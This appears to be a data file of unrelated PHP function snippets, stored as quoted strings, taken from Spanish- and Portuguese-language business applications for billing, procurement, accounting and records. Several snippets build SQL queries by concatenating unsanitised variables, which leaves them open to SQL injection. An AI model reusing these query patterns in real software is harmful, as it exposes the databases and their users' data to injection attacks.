query\n\t\t$this->captura('id_cotizacion','int4');\n\t\t$this->captura('estado_reg','varchar');\n\t\t$this->captura('estado','varchar');\n\t\t$this->captura('lugar_entrega','varchar');\n\t\t$this->captura('tipo_entrega','varchar');\n\t\t$this->captura('fecha_coti','date');\n\t\t$this->captura('numero_oc','varchar');\n\t\t$this->captura('id_proveedor','int4');\n\t\t$this->captura('desc_proveedor','varchar');\n\t\t\n\t\t$this->captura('fecha_entrega','date');\n\t\t$this->captura('id_moneda','int4');\n\t\t$this->captura('moneda','varchar');\n\t\t$this->captura('id_proceso_compra','int4');\n\t\t$this->captura('fecha_venc','date');\n\t\t$this->captura('obs','text');\n\t\t$this->captura('fecha_adju','date');\n\t\t$this->captura('nro_contrato','varchar');\n\t\t\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\t\t$this->captura('id_estado_wf','integer');\n\t\t$this->captura('id_proceso_wf','integer');\n\t\t$this->captura('desc_moneda','varchar');\n\t\t$this->captura('tipo_cambio_conv','numeric');\n\t\t$this->captura('email','varchar');\n\t\t$this->captura('numero','varchar');\n\t\t$this->captura('num_tramite','varchar');\n\t\t$this->captura('id_obligacion_pago','int4');\n\t\t$this->captura('tiempo_entrega','varchar');\n\t\t$this->captura('funcionario_contacto','varchar');\n\t\t$this->captura('telefono_contacto','varchar');\n\t\t$this->captura('correo_contacto','varchar');\n\t\t$this->captura('prellenar_oferta','varchar');\n\t\t$this->captura('forma_pago','varchar');\n\t\t$this->captura('requiere_contrato','varchar');\n\t\t$this->captura('total_adjudicado','numeric');\n\t\t$this->captura('total_cotizado','numeric');\n\t\t$this->captura('total_adjudicado_mb','numeric');\n\t\t$this->captura('tiene_form500','varchar');\n\t\t$this->captura('correo_oc','varchar');\n\n\t\t$this->captura('id_gestion','int4');\n\n\t\t$this->captura('cuce','varchar');\n\t\t$this->captura('fecha_conclusion','date');\n\t\t$this->captura('id_solicitud','int4');\n\t\t$this->captura('justificacion','text');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\t\t\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function acessarRelatorios(){\n\n }", "public function getVehiculosCreados()\n {\n return $this->vehiculosCreados;\n }", "public function getCicloCotable(){\n\t\t\t// creamos el array $retorna con los datos de la tabla lcompras\n\t\t\t$result = $this->_db->query(\"SELECT * FROM ciclocontable WHERE show_by = '1' ORDER BY idCicloContable DESC\");\n\t\t\t$retorna = $result->fetch_all(MYSQL_ASSOC);\n\n\t\t\treturn $retorna;\n\t\t}", "public function getCicloCotable(){\n\t\t\t// creamos el array $retorna con los datos de la tabla lcompras\n\t\t\t$result = $this->_db->query(\"SELECT * FROM ciclocontable WHERE show_by = '1' ORDER BY idCicloContable DESC\");\n\t\t\t$retorna = $result->fetch_all(MYSQL_ASSOC);\n\n\t\t\treturn $retorna;\n\t\t}", "function grafico_1_2( $desde, $hasta, $ua ){\n\t// aclarar al cliente que debe setear campos bien definidos y NO PERMITIR AMBIGUEDADES\n\t\n\t$query = \"select actor.nombre, actor.apellido, actor.id_campo, count(noticiasactor.id_actor) as cantidad from noticiascliente \"\n\t\t. \"inner join noticiasactor on noticiascliente.id_noticia = noticiasactor.id_noticia \"\n\t\t. \"inner join noticias on noticiasactor.id_noticia = noticias.id \"\n\t\t. \"inner join actor on noticiasactor.id_actor = actor.id \"\n\t\t. \"where \"\n\t\t\t. \"noticiascliente.id_cliente = \" . $ua . \" and \"\n\t\t\t. \"noticiascliente.elim = 0 and \"\n\t\t\t. \"noticias.fecha between '\" . $desde . \" 00:00:01' and '\" . $hasta . \" 23:59:59' \"\n\t\t\t// SOLO QUIENES TIENEN 3 Y 4 COMO CAMPO\n\t\t\t. \" and ( actor.id_campo like '%3%' or actor.id_campo like '%4%' ) \"\n\t\t. \"group by noticiasactor.id_actor order by cantidad desc\";\n\t$main = R::getAll($query);\n\t$ua_nombre = R::findOne(\"cliente\",\"id LIKE ?\",[$ua])['nombre'];\n\n\t// var_dump($main);\n\t$tabla = [];\n\t// unidad de analisis, campo, actor, cantidad de menciones\n\t$i = -1;\n\tforeach($main as $k=>$v){\n\t\t// por ahora solo considero los dos posibles campos\n\t\t$tabla[ ++$i ] = [\n\t\t\t'ua' => $ua_nombre,\n\t\t\t'campo' => ( strpos( $v['id_campo'], '3' ) !== false ) ? 'oposicion' : 'oficialismo',\n\t\t\t'actor' => $v['apellido'] . ' ' . $v['nombre'],\n\t\t\t'cantidad' => $v['cantidad']\n\t\t\t];\n\t}\n\t// var_dump($tabla);\n\t\n\t// grafico\n\t$oficialismo = new StdClass(); // objeto vacio\n\t$oficialismo->name = 'Oficialismo';\n\t$oficialismo->rank = 0;\n\t$oficialismo->weight = 'Yellow';\n\t$oficialismo->id = 1;\n\t$oficialismo->children = [];\n\t\n\t$oposicion = new StdClass(); // objeto vacio\n\t$oposicion->name = 'Oposicion';\n\t$oposicion->rank = 0;\n\t$oposicion->weight = 'LightBlue';\n\t$oposicion->id = 1;\n\t$oposicion->children = [];\n\t\n\t$objeto = new StdClass(); // objeto vacio\n\t$objeto->name = 'Campos';\n\t$objeto->rank = 0;\n\t$objeto->weight = 'Gray';\n\t$objeto->id = 1;\n\t$objeto->children = [ $oficialismo, $oposicion ];\n\t\n\t$i_of = 0;\n\t$i_op = 0;\n\t\n\tforeach($tabla as $v){\n\t\t$sub = new StdClass(); // objeto vacio\n\t\t$sub->name = $v['actor'] . ' (' . $v['cantidad'] . ')';\n\t\t$sub->rank = $v['cantidad'];\n\t\t// $sub->weight = 0;\n\t\t$sub->cantidad = $v['cantidad'];\n\t\t$sub->id = 1;\n\t\t$sub->children = [ ];\n\t\tif($v['campo'] == 'oposicion'){\n\t\t\t$i_op += 1;\n\t\t\t$sub->weight = 'Blue';\n\t\t\t$oposicion->children[] = $sub;\n\t\t}\n\t\telse{ \n\t\t\t$i_of += 1;\n\t\t\t$sub->weight = 'White';\n\t\t\t$oficialismo->children[] = $sub;\n\t\t}\n\t}\n\t\n\t$oposicion->rank = $i_op;\n\t$oficialismo->rank = $i_of;\n\t\n\treturn [\n\t\t'tabla' => $tabla,\n\t\t'grafico' => $objeto\n\t\t// ,'temas' => $temas\n\t\t];\n\t\n}", "public function testCobrarCuotas()\n {\n $id_socio = 11;\n $monto = 200;\n $socioRepo = new SociosRepo();\n $socio = $socioRepo->cuotasSociales($id_socio);\n $cobrarObj = new CobrarCuotasSociales();\n $cobrarObj->cobrar($socio, $monto);\n\n $cobrado = $socio->getCuotasSociales()->sum(function($cuota){\n return $cuota->totalEntradaDeMovimientosDeCuota();\n });\n\n $cuota1 = $socio->getCuotasSociales()->all()[0];\n $cuota2 = $socio->getCuotasSociales()->all()[1];\n\n\n $this->assertEquals($cobrado, $monto);\n $this->assertEquals(100, $cuota1->totalEntradaDeMovimientosDeCuota());\n $this->assertEquals(100, $cuota2->totalEntradaDeMovimientosDeCuota());\n $this->assertEquals('Cobro Total', $cuota1->getEstado());\n $this->assertEquals('Cobro Total', $cuota2->getEstado());\n }", "function setContarCuenta(){\n\t\t$sql_hay \t\t= \"SELECT COUNT(numero_cuenta) AS 'cuentame'\n\t\t\t\t\t\t\tFROM captacion_cuentas\n\t\t\t\t\t\t\tWHERE numero_cuenta=\" . $this->mNumeroCuenta;\n\t\t$cuentas\t\t= mifila($sql_hay, \"cuentame\");\n\t\treturn $cuentas;\n\t}", "function setCobrar($tarjeta1,$tarjeta2,$tarjeta3,$tarjeta4,$tarjeta5,$partida){\n\t$tarjetas=array(0=>$tarjeta1,1=>$tarjeta2,2=>$tarjeta3,3=>$tarjeta4,4=>$tarjeta5);\n\t$tarjeta_cambio;\n\t$veces_entre_foreach=0;\n\t$cantidad=0;\n\t\t\t//pregunta si el usuario saco tarjeta en la ronda, si no saco no puede cambiar ninguna de las que ya tiene(por esto ese if)\n\tif($partida->turno_usuario->getSaqueTarjeta() == 1){\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\tforeach($tarjetas as $tarjeta){\n\t\t\t\tif($tarjeta == 1){\n\t\t\t\t\tif($partida->turno_usuario->getTarjeta($veces_entre_foreach)!=NULL ){\n\t\t\t\t\t\t\t//solamente puede tomar una tarjeta, porque es cobrar, si hay mas de una seleccionadada cantidad de hace mas de 1 y el cambio no se realiza\n\t\t\t\t\t\tif($cantidad < 1){\n\t\t\t\t\t\t\t\t//digo que la tarjeta que esta en la posicion $avanzar_arreglo del usuario fue seleccionada\n\t\t\t\t\t\t\t$tarjeta_cambio=$partida->turno_usuario->getTarjeta($veces_entre_foreach);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$cantidad++;\n\t\t\t\t\t}\n\t\t\t\t}\t\t\t\t\n\t\t\t\t$veces_entre_foreach++;\n\t\t\t}//foreach($tarjetas as $tarjeta){\n\t\t\t\n\t\t\t\t//si se selecciono una y solo una tarjeta\n\t\t\tif($cantidad == 1){\n\t\t\t\t\t//compruebo si la tarjeta esta en estado de ser cambiada\n\t\t\t\tif($tarjeta_cambio->getEstado() == 0 ){\n\t\t\t\t\t\t\n\t\t\t\t\t$id_pais=$tarjeta_cambio->getIdPais();\n\t\t\t\t\t\t//recorro todos los paises \n\t\t\t\t\tforeach($partida->paises as $pais){\t\n\t\t\t\t\t\t\t//compruebo si id del usuario en turno es igual al del propietario del pais que selecciona el foreach Y aparte compruebo que \n\t\t\t\t\t\t\t//el pais al que hace referencia la tarjeta sea el seleccionado por el foreach\n\t\t\t\t\t\tif($id_pais == $pais->getId() && $partida->turno_usuario->getId() == $pais->getPropietario()->getId() )\t{\n\t\t\t\t\t\t\t\t//cambio el estado de la tarjeta\n\t\t\t\t\t\t\t$tarjeta_cambio->setEstado(1);\n\t\t\t\t\t\t\t\t//le entrego al pais al que hace referencia 2 fichas\n\t\t\t\t\t\t\t$pais->setFichas(2);\n\t\t\t\t\t\t\t\t//reseteo el saco tarjeta, para que en la misma ronda no pueda cobrar dos tarjetas\n\t\t\t\t\t\t\t$partida->turno_usuario->setSaqueTarjetaReset();\n\t\t\t\t\t\t\treturn 1;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}//if($cantidad == 1){\n\t\t\t\n\t}//if($partida->turno_usuario->getSaqueTarjeta() == 1){\t\n}", "public function searchConce()\n\t{\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t//obtener los alumnos de la convocatoria actual\n\t\t$convocatoria = Convocatoria::model()->find(\"con_estado=1\")->con_semestre;\n\t\t$alumnos=Alumno::model()->findAll(\"con_semestre='\".$convocatoria.\"' AND al_campus='Concepción'\");\n\n\t\t$criteria=new CDbCriteria;\n\t\t$condicion='';\n\n\t\t$j=0;\n\t\t$cantidad=0;\n\n\t\t//obtener los proyectos de los alumnos\n\t\tfor ($i=0; $i < count($alumnos); $i++) {\n\t\t\t\n\t\t\t//obtener el proyecto del alumno\n \t\t\t$proyecto = Alumnoproyecto::model()->find(\"al_rut='\".$alumnos[$i]->al_rut.\"'\");\n\t\t\t\n\n\t\t\t//si el alumno tiene un proyecto\n\t\t\tif(count($proyecto)>0){\n\t\t\t\n\t\t\t//para que no se le ponga \"or\" al principio ni al final \n\t\t\tif($cantidad>=1){\n\t\t\t\t$condicion=$condicion.\" or \";\t\t\n\t\t\t}\n\t\t\t\t$condicion=$condicion.\"pro_idProyecto=\".$proyecto->pro_idProyecto;\n\t\t\t\t$cantidad++;\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\t//si no hay ningun proyecto\n\t\tif($cantidad==0){\n\t\t\t$condicion=\"pro_idProyecto=-1\";\n\t\t}\n\n\t\t$criteria->addCondition($condicion);\n\t\t$criteria->compare('pro_idProyecto',$this->pro_idProyecto);\n\t\t$criteria->compare('pro_titulo',$this->pro_titulo,true);\n\t\t$criteria->compare('pro_duracion',$this->pro_duracion,true);\n\t\t$criteria->compare('pro_ambito',$this->pro_ambito,true);\n\t\t$criteria->compare('pro_emNombre',$this->pro_emNombre,true);\n\t\t$criteria->compare('pro_emContacto',$this->pro_emContacto,true);\n\t\t$criteria->compare('pro_emTelefono',$this->pro_emTelefono,true);\n\t\t$criteria->compare('emEmail',$this->emEmail,true);\n\t\t$criteria->compare('pro_profeNombre',$this->pro_profeNombre,true);\n\t\t$criteria->compare('pro_profeEmail',$this->pro_profeEmail,true);\n\t\t$criteria->compare('pro_profeTelefono',$this->pro_profeTelefono,true);\n\t\t$criteria->compare('pro_dirEscuela',$this->pro_dirEscuela,true);\n\t\t$criteria->compare('pro_vBEscuela',$this->pro_vBEscuela,true);\n\t\t$criteria->compare('pro_aporteValorado',$this->pro_aporteValorado);\n\t\t$criteria->compare('pro_aportePecuniario',$this->pro_aportePecuniario);\n\t\t$criteria->compare('pro_resumenEjecutivo',$this->pro_resumenEjecutivo,true);\n\t\t$criteria->compare('pro_descripcionEmpresa',$this->pro_descripcionEmpresa,true);\n\t\t$criteria->compare('pro_definicionProblema',$this->pro_definicionProblema,true);\n\t\t$criteria->compare('pro_solucionPropuesta',$this->pro_solucionPropuesta,true);\n\t\t$criteria->compare('pro_estadoArte',$this->pro_estadoArte,true);\n\t\t$criteria->compare('pro_objetivoGeneral',$this->pro_objetivoGeneral,true);\n\t\t$criteria->compare('pro_metodologia',$this->pro_metodologia,true);\n\t\t\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function personas(){\n\n return $this->morphedByMany(Persona::class, 'cargoable'); //relacion muchos a muchos \"una persona tiene muchos cargos y un cargo tiene muchas personas\"\n }", "public function colaboradores_obsoletos(){\n //where ((B.data_inserida-'$data') && (C.data_inserida-'$data') )>tempo_sem_atualizar\n return $this->db->query(\"select * from colaboradores A inner join competencias_colaboradores AS B on (A.id_colaborador=B.colaboradores_id_colaborador) join instituicao where status_colaborador=0 group by colaboradores_id_colaborador order by B.data_inserida \");\n }", "public function get_all_cajeros()\n { \n $this->parametros = array();\n $this->sp = \"str_consultacajeros\";\n $this->executeSPConsulta();\n\n if (count($this->rows)<=0){\n $this->mensaje=\"No existen niveles economicos en la BD.\";\n array_pop($rol);\n array_push($rol, array(0 => -1, \n 1 => 'Seleccione...',\n 3 => ''));\n\t\t\t\n }else{\n $rol = array();\n\n array_pop($rol);\n array_push($rol, array(0 => -1, \n 1 => 'Seleccione...',\n 3 => ''));\n\t\t\t\n foreach($this->rows as $niveles_economicos){\n array_push($rol, array_values($niveles_economicos));\n }\n\n $this->rows = $rol;\n unset($rol);\n }\n }", "public function obtenerViajesplusAbonados();", "public function corregir_boletas_por_sector($sectores = 0, $mes = 0, $anio = 0)\n\t{\n\t\t// if($sectores == 0 )\n\t\t// \t$sectores = $this->input->post('select_tablet');\n\t\t// if($mes == 0 )\n\t\t// \t$mes = $this->input->post('mes');\n\t\t// if($anio == 0 )\n\t\t// \t$anio = $this->input->post('anio');\n\t\t// if($sectores === 0 )\n\t\t// \t{\n\t\t// \t\techo \"Error\";die();\n\t\t// \t}\n\t\t// elseif($sectores == \"A\")\n\t\t// \t$sectores = [ \"A\", \"Jardines del Sur\", \"Aberanstain\", \"Medina\", \"Salas\", \"Santa Barbara\" , \"V Elisa\"];\n\t\t// else $sectores = [ \"B\", \"C\", \"David\", \"ASENTAMIENTO OLMOS\", \"Zaldivar\" ];\n\t\t$todas_las_variables = $this->Nuevo_model->get_data(\"configuracion\");\n\t\t$mediciones_desde_query = $this->Nuevo_model->get_sectores_query_corregir($sectores, $mes, $anio );\n\t\t//var_dump($mediciones_desde_query);die();\n\t\tif($mediciones_desde_query != false)\n\t\t{\n\t\t\t$indice_actual = 0;\n\t\t\tforeach ($mediciones_desde_query as $key ) {\n\t\t\t\tif( ($key->Factura_MedicionAnterior == 0) && ($key->Factura_MedicionActual == 1) ) // bandera de tablet\n\t\t\t\t\tcontinue;\n\t\t\t\tif( ( floatval($key->Factura_PagoMonto) != floatval(0)) && ($key->Factura_PagoContado != NULL) && ($key->Factura_PagoContado != NULL) ) //si esta pagada no se re calcula\n\t\t\t\t\tcontinue;\n\t\t\t\tif( ($key->Conexion_Categoria == 1) || ($key->Conexion_Categoria == \"Familiar\") || ($key->Conexion_Categoria ==\"Familiar \") )\n\t\t\t\t{\n\t\t\t\t\t$precio_metros = $todas_las_variables[3]->Configuracion_Valor;\n\t\t\t\t\t$metros_basicos = $todas_las_variables[5]->Configuracion_Valor;\n\t\t\t\t\t$precio_bsico = $todas_las_variables[4]->Configuracion_Valor;\n\t\t\t\t}\n\t\t\t\telse \n\t\t\t\t{\n\t\t\t\t\t$precio_metros = $todas_las_variables[6]->Configuracion_Valor;\n\t\t\t\t\t$metros_basicos = $todas_las_variables[8]->Configuracion_Valor;\n\t\t\t\t\t$precio_bsico = $todas_las_variables[7]->Configuracion_Valor;\n\t\t\t\t}\n\t\t\t\t$anterior = $key->Factura_MedicionAnterior;\n\t\t\t\t$actual = $key->Factura_MedicionActual;\n\t\t\t\t$inputExcedente = intval($actual) - intval($anterior) - intval($metros_basicos);\n\t\t\t\tif($inputExcedente < 0 )\n\t\t\t\t\t$inputExcedente = 0;\n\t\t\t\t$importe_medicion = 0;\n\t\t\t\tif($inputExcedente == 0)\n\t\t\t\t\t$importe_medicion = 0;\n\t\t\t\telse $importe_medicion = floatval($precio_metros) * floatval($inputExcedente);\n\t\t\t\t//calculo el subtotal y total\n\t\t\t\t$sub_total = floatval($key->Factura_TarifaSocial) \n\t\t\t\t\t\t\t\t\t\t+ floatval($key->Factura_Deuda)\n\t\t\t\t\t\t\t\t\t\t+ floatval($key->Factura_ExcedentePrecio )\n\t\t\t\t\t\t\t\t\t\t+ floatval($key->Factura_CuotaSocial )\n\t\t\t\t\t\t\t\t\t\t+ floatval($key->Factura_Riego )\n\t\t\t\t\t\t\t\t\t\t+ floatval($key->Factura_PM_Cuota_Precio)\n\t\t\t\t\t\t\t\t\t\t+ floatval($key->Factura_PPC_Precio)\n\t\t\t\t\t\t\t\t\t\t+ floatval($key->Factura_Multa);\n\t\t\t\t$total = $sub_total;\n\t\t\t\t$bonificacion = 0;\n\t\t\t\tif($key->Conexion_Deuda == 0)\n\t\t\t\t\t\t//$bonificacion_pago_puntual = (floatval ($excedente) + floatval($tarifa_basica)) * floatval (5) / floatval(100) ;//con bonificacion\n\t\t\t\t\t\t$bonificacion = (floatval ($inputExcedente) + floatval($key->Factura_TarifaSocial)) * floatval (5) / floatval(100) ;//con bonificacion\n\t\t\t\t$total =\tfloatval($total)\n\t\t\t\t\t\t\t\t\t\t- floatval($key->Factura_Acuenta)\n\t\t\t\t\t\t\t\t\t\t- floatval($bonificacion);\n\t\t\t\t//vtos\n\t\t\t\t$vto_2_precio = floatval($total) + floatval($total) * floatval($todas_las_variables[18]->Configuracion_Valor);\n\t\t\t\t$vto_1_precio = $total;\n\t\t\t\t$indice_actual++;\n\t\t\t\t$datos_factura_nueva = array(\n\t\t\t\t\t'Factura_SubTotal' => floatval($sub_total),\n\t\t\t\t\t'Factura_Total' => floatval($total),\n\t\t\t\t\t'Factura_Vencimiento1_Precio' => floatval($vto_1_precio),\n\t\t\t\t\t'Factura_Vencimiento2_Precio' => floatval($vto_2_precio),\n\t\t\t\t\t'Factura_ExcedentePrecio' => floatval($importe_medicion),\n\t\t\t\t\t'Factura_Excedentem3' => $inputExcedente\n\t\t\t\t\t );\n\t\t\t\t$resultado[$indice_actual] = $this->Nuevo_model->update_data_tres_campos($datos_factura_nueva, $key->Conexion_Id, \"facturacion_nueva\",\"Factura_Conexion_Id\", \"Factura_Mes\", $mes, \"Factura_Año\", $anio);\n\t\t\t\tvar_dump($datos_factura_nueva,$key->Conexion_Id);\n\t\t\t}\n\t\t\tvar_dump($datos_factura_nueva);\n\t\t}\n\t\telse\n\t\t\tvar_dump(\"Error. no hay medciones para las variables\");\t\n\t}", "public function cortesia()\n {\n $this->costo = 0;\n }", "public function getInstituicoesAcordos() {\n\t\treturn $this->find ( 'list', array (\n\t\t\t\t\"fields\" => array (\n\t\t\t\t\t\t'Instituicao.id',\n\t\t\t\t\t\t'Instituicao.descricao' \n\t\t\t\t),\n\t\t\t\t\"joins\" => array (\n\t\t\t\t\t\tarray (\n\t\t\t\t\t\t\t\t\"table\" => \"acordos\",\n\t\t\t\t\t\t\t\t\"type\" => \"inner\",\n\t\t\t\t\t\t\t\t\"alias\" => \"Acordo\",\n\t\t\t\t\t\t\t\t\"conditions\" => array (\n\t\t\t\t\t\t\t\t\t\t\"Acordo.instituicao_id = Instituicao.id\" \n\t\t\t\t\t\t\t\t) \n\t\t\t\t\t\t) \n\t\t\t\t),\n\t\t\t\t\"group\" => array (\n\t\t\t\t\t\t'Instituicao.id',\n\t\t\t\t\t\t'Instituicao.descricao' \n\t\t\t\t),\n\t\t\t\t\"order\" => \"Instituicao.id\" \n\t\t) );\n\t}", "public function getListadoObligacioness() {\n return $this->conexionObligaciones->listaLlaves(\"CARNET\", \"ASC\");\n }", "public function getCot_observaciones(){\n return $this->cot_observaciones;\n }", "function tieneCursosConMatriculas($idTipoMatricula){\n \t/*******************************************************\n * Consulta en BD si un curso tiene matriculas asociadas\n *******************************************************/\n $pd = DatabaseCao::connect();\n $pd->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); \n $sql = \"SELECT m.id id\n\t\t\t\tFROM ca_tipo_matricula tp\n\t\t\t\tINNER JOIN \tca_tipo_matricula_curso tmc ON tmc.tipo_matricula = tp.id\n\t\t\t\tINNER JOIN ca_matricula m ON tmc.id = m.ID_TM_CURSO\n\t\t\t\tAND tp.id = ?\"; \n $q = $pd->prepare($sql);\n $q->execute(array($idTipoMatricula)); \n\n /*****************************************************\n * Carga de datos en variables\n *****************************************************/\n $TieneMatriculasAsociadasACursos = FALSE;\n while ($fila = $q->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_NEXT)) { \n $TieneMatriculasAsociadasACursos = TRUE; \n break; \n } \n return $TieneMatriculasAsociadasACursos;\n }", "protected function asignarCamposRelacionales() {\n foreach($this->campos as $nombre=>$campo) {\n if($campo->tipo!='relacional'||($campo->relacion!='1:1'&&$campo->relacion!='1:0')) continue;\n $columna=$campo->columna;\n if(is_object($this->consultaValores->$nombre)) {\n //Asignado como entidad u objeto anónimo\n $this->consultaValores->$columna=$this->consultaValores->$nombre->id;\n } elseif(is_array($this->consultaValores->$nombre)) {\n //Asignado como array\n $this->consultaValores->$columna=$this->consultaValores->$nombre['id'];\n }\n }\n }", "public function mostrarMarcasTipo($tipoCerveza){\n $link = Conexion::conectar();\n $sql = \"SELECT DISTINCT marca\n FROM wonderlist WHERE tipoCerveza = '$tipoCerveza'\";\n $stmt = $link->prepare($sql);\n $stmt->execute();\n return $stmt->fetchAll(PDO::FETCH_ASSOC);}", "public function cortar() {\n $mitadInf = [];\n $mitadSup = [];\n $mitad = count($this->cajita) / 2;\n for ($i = 0; $i < $mitad; $i++)\n $mitadInf[$i] = $this->cajita[$i];\n for ($i = 0; $mitad < count($this->cajita); $i++, $mitad++)\n $mitadSup[$i] = $this->cajita[$mitad];\n $this->cajita = array_merge($mitadSup, $mitadInf);\n return TRUE;\n }", "public function get_cargosCentroCosto($centro_costo,$cargos){\n\t\t\t\n\t\t\t\n\t\t\ttry { \n\t\t\t\tglobal $conn;\n\t\t\t\t$sql=\"select cod_epl, rtrim(nom_epl)+' '+rtrim(ape_epl) as nombres from empleados_basic where cod_car='\".$cargos.\"' and cod_cc2 ='\".$centro_costo.\"' and estado='A'\";\n\n\t\t\t\t\n\t\t\t\t$rs=$conn->Execute($sql);\n\t\t\t\twhile($fila=$rs->FetchRow()){\n\t\t\t\t\t$this->lista[]=array(\"codigo\" => $fila[\"cod_epl\"],\n\t\t\t\t\t\t\t\t\t\t \"nombres\"=> utf8_encode($fila[\"nombres\"]));\n\t\t\t\t}\n\t\t\t\n\t\t\t\treturn $this->lista;\n\t\t\t\t\n\t\t\t}catch (exception $e) { \n\n\t\t\t var_dump($e); \n\n\t\t\t adodb_backtrace($e->gettrace());\n\n\t\t\t} \n\t\t}", "function pagocobrobancossaldos($periodo,$ejer,$moneda,$cuenta,$opc){\n\t\tswitch($opc){\n\t\t\tcase 1://cargo\n\t\t\t\t$mov=\"Cargo M.E.\";\n\t\t\tbreak;\n\t\t\tcase 2:\n\t\t\t\t$mov=\"Abono M.E\";\n\t\t\tbreak;\n\t\t\tcase 3:\n\t\t\t\t$mov=\"Abono\";\n\t\t\tbreak;\n\t\t\tcase 4:\n\t\t\t\t$mov=\"Cargo\";\n\t\t\tbreak;\n\t\t}\n\t\t\t$sql=$this->query(\"select m.IdPoliza,m.Cuenta,sum(m.Importe) importe,m.TipoMovto,c.description,p.relacionExt,p.concepto,p.idperiodo,c.manual_code\n\t\t\tfrom cont_movimientos m,cont_polizas p,cont_accounts c,cont_config conf\n\t\t\twhere m.cuenta=c.account_id and c.currency_id=\".$moneda.\" and c.`main_father`=conf.CuentaBancos and m.TipoMovto='\".$mov.\"'\n\t\t\tand m.IdPoliza=p.id and p.activo=1 and m.Activo=1 and p.idperiodo<=\".$periodo.\" and m.Cuenta=\".$cuenta.\"\n\t\t\tand p.id not in(select id from cont_polizas where concepto='POLIZA DE AJUSTE POR DIFERENCIA CAMBIARIA' and idperiodo=\".$periodo.\")\n\t\t\tgroup by m.Cuenta,p.idperiodo,m.TipoMovto\");\n\t\t\treturn $sql;\n\t\t}", "function listarObligacionPagoCotizacion(){\n\t\t$this->procedimiento='adq.f_cotizacion_sel';\n\t\t$this->transaccion='ADQ_OBPGCOT_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\t\t$this->setCount(false);\n\t\t\n\t\t$this->setParametro('id_cotizacion','id_cotizacion','int4');\n\t\t//Definicion de la lista del resultado del query\n\t\t$this->captura('id_obligacion_pago','int4');\t \n\t\t\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function leerCreditos(){\n \n try{\n $stmt = $this->dbh->prepare(\"SELECT c.idcredito, t.NombreCte,c.tipoContrato, c.montoTotal, c.plazo,c.mensualidad, c.interes,\"\n . \" c.metodoPago, c.observaciones, c.status FROM tarjetas_clientes t join credito c on t.idClienteTg=c.cteId where c.status=1 or c.status=3\");\n // Especificamos el fetch mode antes de llamar a fetch()\n $stmt->execute();\n $clientes = $stmt->fetchAll(PDO::FETCH_NUM);\n } catch (PDOException $e){\n $clientes=array(\"status\"=>\"0\",\"mensaje\"=>$e->getMessage());\n }\n \n return $clientes;\n }", "private function listado_obras(){\n \treturn Sesion::where(\"inicio\",\">\",Carbon::now())->distinct()->get(['nombre_obra']);\n }", "function addOcorencias($ltOcorrencia, $tpOcorrencia, $graph, &$ocorrencias){\n\tforeach ($ltOcorrencia as $key => $value) {\n\n\t\tif ($tpOcorrencia[$key][0] == 'ALF' ) {\n\n\t\t\t$resp = buscaAlf($graph, $ltOcorrencia[$key]);\n\t\t\tif ($resp != 0) {\n\t\t\t\t$ocorrencias[] = $resp;\n\t\t\t}\n\t\t}elseif ($tpOcorrencia[$key][0] == 'DATE' or $tpOcorrencia[$key][0] == 'INT') {\n\t\t\t$resp = buscaDate($graph, $ltOcorrencia[$key]);\n\t\t\tif ($resp != 0) {\n\t\t\t\t$ocorrencias[] = $resp;\n\t\t\t}\n\t\t\t\n\t\t}\n\t\tif ($tpOcorrencia[$key][0] == 'INT') {\n\t\t\t$resp = buscaInt($graph, $ltOcorrencia[$key]);\n\t\t\tif ($resp != 0) {\n\t\t\t\t$ocorrencias[] = $resp;\n\t\t\t}\n\t\t}\n\t\t\n\t}\n}", "function listarObligacioPagoCombos(){\n $this->objParam->defecto('ordenacion','id_obligacion_pago');\n\n $this->objParam->defecto('dir_ordenacion','asc');\n if($this->objParam->getParametro('tipoReporte')=='excel_grid' || $this->objParam->getParametro('tipoReporte')=='pdf_grid'){\n $this->objReporte = new Reporte($this->objParam, $this);\n $this->res = $this->objReporte->generarReporteListado('MODObligacionPago','listarObligacioPagoCombos');\n } else{\n $this->objFunc=$this->create('MODObligacionPago');\n $this->res=$this->objFunc->listarObligacioPagoCombos();\n }\n\n /*if($this->objParam->getParametro('_adicionar')!=''){\n\n $respuesta = $this->res->getDatos();\n\n array_unshift ( $respuesta, array( 'id_proveedor'=>'0',\n 'rotulo_comercial'=>'Todos', 'desc_proveedor'=>'Todos'\n ));\n //\t\tvar_dump($respuesta);\n $this->res->setDatos($respuesta);\n }*/\n\n $this->res->imprimirRespuesta($this->res->generarJson());\n }", "public function actionIndex(){\r\r\n\r\r\n\t\t$criteria=new CDbCriteria;\r\r\n\t\t//5= factura de venta bogota ; 9 = remision ; 10 = factura de venta cota\r\r\n\t\t$criteria->compare('codigo_id',array(5,9,10));\r\r\n\r\r\n \r\r\n\t $dataProvider = new CActiveDataProvider(new OrdenConsumo, array(\r\r\n\t 'criteria'=>$criteria,\r\r\n\t 'sort'=>array('defaultOrder'=>'id ASC'), // orden por defecto según el atributo nombre\r\r\n\t 'pagination'=>array('pageSize'=>15), // personalizamos la paginación\r\r\n\t ));\r\r\n\r\r\n\t\t$this->render('index',array(\r\r\n \t\t'model'=>$dataProvider\r\r\n \t));\r\r\n\r\r\n\t}", "function getRelaciones() {\r\n //arreglo relacion de tablas\r\n //---------------------------->DEPARTAMENTO(OPERADOR)\r\n 